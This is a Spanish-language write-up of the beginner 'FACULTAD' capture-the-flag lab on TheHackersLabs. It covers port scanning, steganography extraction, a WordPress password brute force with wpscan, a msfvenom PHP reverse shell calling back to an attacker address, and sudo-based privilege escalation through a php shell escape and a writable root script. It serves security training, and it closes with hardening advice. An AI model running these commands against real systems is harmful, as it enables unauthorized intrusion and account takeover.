Write-ups

Resolución del CTF FACULTAD

💢CTF DISPONIBLE EN TheHackersLabs💢

❌Nombre: FACULTAD
📈Nivel: Principiante
💻OS: Linux
💢Caregoría: Seguridad Ofensiva
🙋🏽‍♂️Creador: Beafn28
https://thehackerslabs.com/facultad/

Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.
Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • -sC : Realiz una escaneo con los scripts basicos de reconocimiento
  • -sV : Realiza un escaneo en buqueda de los servicios
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • Resultados:
    • El sistema estaba activo y respondía rápidamente.
    • Había tres puertos abiertos:
      • Puerto 22 (SSH): Utilizado para conexiones seguras a través de la red. El servicio era OpenSSH 9.2p1 Debian 2+deb12u3.
      • Puerto 80 (HTTP): Utilizado para servir páginas web. El servicio era Apache httpd 2.4.62.
      • Puerto 3306 (MySQL): Utilizado para la base de datos. El servicio era MariaDB 5.5.5-10.11.6.
    • La dirección MAC correspondía a una máquina virtual de Oracle VirtualBox.
    • El sistema operativo detectado era Linux.

Explorando el Servidor Web: ¿Qué hay en la página?

Una vez que supe que había un servidor web, quise explorarlo más a fondo. Para ello, usé feroxbuster, una herramienta que busca archivos y directorios ocultos en la página web. Es como si estuviera revisando todas las habitaciones de una casa para ver qué hay en cada una.

  • Comando utilizado: feroxbuster --url http://192.168.18.234 --w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
    • Parámetros explicados:
      • --url: La URL del servidor web que estoy analizando.
      • --w: La ruta de la lista de palabras que feroxbuster usará para buscar archivos y directorios.
      • -x: Las extensiones de archivo que quiero buscar (en este caso, phphtml y txt).
  • Resultados:
    • Varios archivos relacionados con imágenes, estilos y scripts de la página web.
    • Un directorio interesante llamado /education, que parecía ser una sección del sitio web.

Extracción de Información: ¿Qué más podemos encontrar?

Encontré una imagen llamada facultad.jpg en el directorio /images. Usé steghide para extraer información oculta en la imagen.

  • Comando utilizado: steghide extract -sf facultad.jpg
    • Parámetros explicados:
      • extract: Indica que quiero extraer información oculta.
      • -sf: Especifica el archivo de entrada (facultad.jpg).
  • Resultados:
    • Encontré un archivo oculto llamado mensaje.txt con un mensaje personal.

3. Enumerando WordPress: ¿Qué plugins y usuarios están activos?

Saber que el sitio web utilizaba WordPress me dio una pista sobre dónde buscar vulnerabilidades. Usé wpscan, una herramienta específica para analizar sitios web de WordPress.

  • Comando utilizado: wpscan --url http://192.168.18.234/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
    • Parámetros explicados:
      • --url: La URL del sitio web de WordPress.
      • --passwords: La ruta de la lista de contraseñas que wpscan usará para intentar acceder.
      • --usernames: El nombre de usuario que estoy probando.
  • Se encontró una combinación válida de usuario y contraseña: facultad y asdfghjkl

**Generando una Reverse Shell:

Con las credenciales obtenidas, generé una reverse shell para obtener acceso al servidor. Usé msfvenom para crear un payload de reverse shell en PHP.

  • Comando utilizado: msfvenom -p php/reverse_php LHOST=192.168.18.252 LPORT=4444 -f raw >> shell.jpg
    • Parámetros explicados:
      • -p php/reverse_php: Especifica el payload de reverse shell en PHP.
      • LHOST=192.168.18.252: La dirección IP de mi máquina atacante.
      • LPORT=4444: El puerto en el que escucharé la conexión entrante.
      • -f raw: Formato del payload.
      • >> shell.jpg: Guarda el payload en un archivo llamado shell.jpg.
  • Resultados:
    • Recibí una conexión entrante desde el servidor, lo que me dio acceso como el usuario www-data.

Escalada de Privilegios: ¿Podemos convertirnos en administradores?

Aunque ya tenía acceso al sistema, el usuario www-data no tenía permisos de administrador. Para escalar privilegios, necesitaba encontrar una vulnerabilidad que me permitiera ejecutar comandos con permisos de root.

  • Explorando sudo: Usé el comando sudo -l para ver qué comandos podía ejecutar el usuario www-data con permisos de root.
  • Resultados:
    • El usuario www-data podía ejecutar /usr/bin/php como el usuario gabri sin contraseña.
  • Explotación: Usé sudo para ejecutar una shell con permisos de gabri: sudo -u gabri php -r "system('/bin/bash');"

Tal y como nos decía el mensaje.txt teníamos la contraseña en el correo de gabri, encodeada en BrainFuck

Solo teníamos que ir a cualquier herramienta online que decodee y obtener la contarseña: lapatrona2025

Conisguiendo acceder como Vivian

Escalada de Privilegios:

Usé el comando sudo para ejecutar un script con permisos de root. Ademas teniamos permisos de escritura, por lo que simplemente lo cambiamos por una bash ya que la ejecutaba root.

Conclusión

Este análisis de seguridad nos ha mostrado varias vulnerabilidades en el sistema de Facultad, incluyendo:

  • Puertos y servicios expuestos que pueden ser explotados.
  • Credenciales débiles en el sitio web de WordPress.
  • Permisos de sudo mal configurados que permiten la escalada de privilegios.
  • Información oculta en archivos que puede ser extraída.

Para mejorar la seguridad del sistema, se recomienda:

  • Mejorar la seguridad del servidor web.
  • Utilizar contraseñas más fuertes.
  • Restringir los permisos de ejecución de comandos críticos.
  • Evitar la ejecución de scripts con permisos elevados.

Espero que este análisis detallado te haya ayudado a entender mejor las vulnerabilidades presentes y cómo se pueden corregir para mejorar la seguridad del sistema.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *